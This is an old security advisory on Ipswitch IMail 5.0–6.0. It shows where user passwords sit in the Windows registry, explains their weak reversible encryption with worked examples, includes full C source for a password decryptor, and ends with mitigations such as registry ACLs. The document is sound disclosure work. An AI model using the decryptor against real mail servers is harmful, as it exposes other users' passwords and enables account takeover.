COMMAND
IMail
SYSTEMS AFFECTED
5.0 through 6.0 (anything less than 5.0 is also vulnerable?)
PROBLEM
Mike Davis found following. IMail is (among others) a POP3
daemon for Microsoft Windows NT. Any user who can login to the
machine with the IMail database can also retrieve the encrypted
passwords for ANY user. All they need to do is open a registry
editor (i.e., regedit.exe).
The IMail database is really just registry keys. The IMail server
stores all users in the registry under:
HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\<DOMAINNAME>\Users\
[Where DOMAINNAME is the name of the domain the POP3 server is
serving and USERNAME is the user.] Within that key is an string
value named 'Password' which contains the encrypted copy of the
password.
Take the lowercase of the account name, split it up by letter and
convert each letter to its ASCII equivalent. Next, find the
difference between each letter and the first letter. Take each
letter of the password, find it's ASCII equivalent and add the
offset (ASCII value of first char of the account name minus 97)
then subtract the corresponding difference. Use the differences
recursively if the password length is greater than the length of
the account name. This gives you the character's new ASCII value.
Next, Look it up the new ASCII value in the ASCII-ENCRYPTED table
(see Appendix I) and you now have the encrypted letter. Example:
Account Name: mike
m = 109
i = 105
k = 107
e = 101
Differences:
First - First: 0
First - Second: 4
First - Third: 2
First - Fourth: 8
Unencrypted Password: rocks
r = 114
o = 111
c = 99
k = 107
s = 115
(ASCII value + offset) - difference:
offset: (109 - 97) = 12
(114 + 12) - 0 = 126
(111 + 12) - 4 = 119
(99 + 12) - 2 = 109
(107 + 12) - 8 = 111
(115 + 12) - 0 = 127
126 = DF
119 = D8
109 = CE
111 = D0
127 = E0
Encrypted Password: DFD8CED0E0
The decryption scheme is a little easier. First, like the
encryption scheme, take the account name, split it up by letter
and convert each letter to its ASCII equivalent. Next, find the
difference between each letter and the first letter. Now split
the encrypted password by two characters (e.g., EFDE = EF DE)
then look up their ASCII equivalent within the ASCII-ENCRYPTED
table (see Appendix I). Take that ASCII value and add the
corresponding difference.Look this value up in the ascii table.
This table is made by taking the ASCII value of the first
character of the account name and setting it equal to 'a'.
Example:
Account Name: mike
m = 109
i = 105
k = 107
e = 101
Differences:
First - First: 0
First - Second: 4
First - Third: 2
First - Fourth: 8
Encrypted Password: DFD8CED0E0
DF = 126
D8 = 119
CE = 109
D0 = 111
E0 = 127
Add Difference:
126 + 0 = 126
119 + 4 = 123
109 + 2 = 111
111 + 8 = 119
127 + 0 = 127
Look up in table (see Appendix II):
126 = r
123 = o
111 = c
119 = k
127 = s
Unencrypted Password: rocks
Because appendixes took up so much space, we put them in a
separate file located at:
http://www.w00w00.org/imail_map.txt
They include the mappings of all characters. Proof-of-concept
code (by Mike):
/*
* IMail password decryptor
* By: Mike Davis (mike@eEye.com)
*
* Thanks to Marc and Jason for testing and their general eliteness.
* Usage: imaildec <account name> <encrypted password>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
void usage (char *);
int search (char *);
int eql (char *, char *);
int lc (int);
int strlen();
struct
{
char *string;
int o;
} hashtable[255];
struct { char *string; } encrypted[60];
char *list = "0123456789ABCDEF";
int alpha[95] = {
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67,
68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85,
86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102,
103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116,
117, 118, 119, 120, 121, 122, 123, 124, 125, 126
};
int
main (int argc, char *argv[])
{
int i, j, k, ascii, start, diffs[66], num, loop;
char asciic[155];
if (argc <= 2 || argc > 3) usage (argv[0]);
if (strlen (argv[2]) > 62)
{
printf ("\nERROR: Please enter an encrypted password less than 60 "
"characters.\n\n");
usage (argv[0]);
}
printf ("IMail password decryptor\nBy: Mike <Mike@eEye.com>\n\n");
ascii = -97;
/* Make the hash table we will need to refer to. */
for (i = 0, start = 0; i < strlen (list); i++)
{
for (k = 0; k < strlen (list); k++)
{
hashtable[start].string = (char *) malloc (3);
sprintf (hashtable[start].string, "%c%c", list[i], list[k]);
hashtable[start].o = ascii++;
/* Don't want to skip one! */
if ((k + 1) != strlen (list)) start++;
}
start++;
}
for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1]))
{
for (j = k; j < k + strlen (argv[2]); j += 2, start++)
{
encrypted[start].string = (char *) malloc (3);
sprintf (encrypted[start].string, "%c%c", argv[2][j],
argv[2][j + 1]);
}
}
for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++)
for (i = 0; i < strlen (argv[1]); i++, start++)
diffs[start] = (lc(argv[1][0]) - lc(argv[1][i]));
printf ("Account Name: %s\n", argv[1]);
printf ("Encrypted: ");
for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]);
putchar('\n');
printf ("Unencrypted: ");
for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++)
{
num = search (encrypted[i].string) + diffs[i];
if (loop == 0)
{
/* Make alphabet */
for (j = lc (argv[1][0]) - 65, start = 0;
j <= lc (argv[1][0]) + 29;
j++, start++)
{
asciic[j] = alpha[start];
}
}
putchar(asciic[num]);
}
putchar('\n');
return 0;
}
int
search (char *term)
{
register int n;
for (n = 0; n < 255; n++)
if (hashtable[n].string && eql (hashtable[n].string, term))
return hashtable[n].o;
return 0;
}
int
eql (char *first, char *second)
{
register int i;
for (i = 0; first[i] && (first[i] == second[i]); i++);
return (first[i] == second[i]);
}
int
lc (int letter)
{
if (letter >= 'A' && letter <= 'Z') return letter + 'a' - 'A';
else return letter;
}
void
usage (char *name)
{
printf ("IMail password decryptor\n");
printf ("By: Mike (Mike@eEye.com)\n\n");
printf ("Usage: %s <account name> <encrypted string>\n", name);
printf ("E.g., %s crypto CCE5DFE5E2\n", name);
exit (0);
}
Imail V6.0 is still vulnerable to this problem.
SOLUTION
Ipswitch was notified of this advisory last week, and they have
not responded. They released a never version afterwards, but we
cannot confirm whether or not this latest version, 6.01 fixes the
vulnerability. Their site says:
This patch fixes problems with POP server and IAdmin
application, including external database authentication
problems and possible password corruption problems.
Until we have positive confirmation, you can set an ACL on each
registry key containing the password to prevent normal users
(while still allowing IMail) from viewing other users' passwords.
You are safe to remove read permissions on these registry
keys--they will not affect IMail (as it doesn't run with user
privileges).
Ipswitch doesn't seem to get the point. This scheme is is only
slightly different than their old one(for version 4.X) which
Steven Alexander released an advisory about many months ago.
It would seem that the best solution is to NOT try fixing the
red herring (crypto with locally stored key) problem. The better
solution would be to set the access rights for the registry keys
in question to only allow the user running the IMail daemons, and
the users that are supposed to be able to locally administrate
IMail. (Btw, you can do this yourself; you don't have to wait
for ipswitch to release a fix) Actually, ipswitch should do two
things. They should protect the registry keys so that all users
cannot read the encrypted passwords. They should also use
stronger crypto so that in the case that someone does get access
to the registry keys, they cannot recover the passwords. This is
important. Suppose that someone can gain temporary access to the
server, they should not be able to recover the passwords so that
they can use them in the future. A user may be able to get to
the administrator's desk while he/she is away and get to those
keys, but if they can get the administrator's password, they can
drop in anytime they want and remotely administer IMail...or the
machine if the administrator's password is the same for the
domain/workstation as it is for IMail. If they use security at
all levels it makes the job of an attacker much more difficult.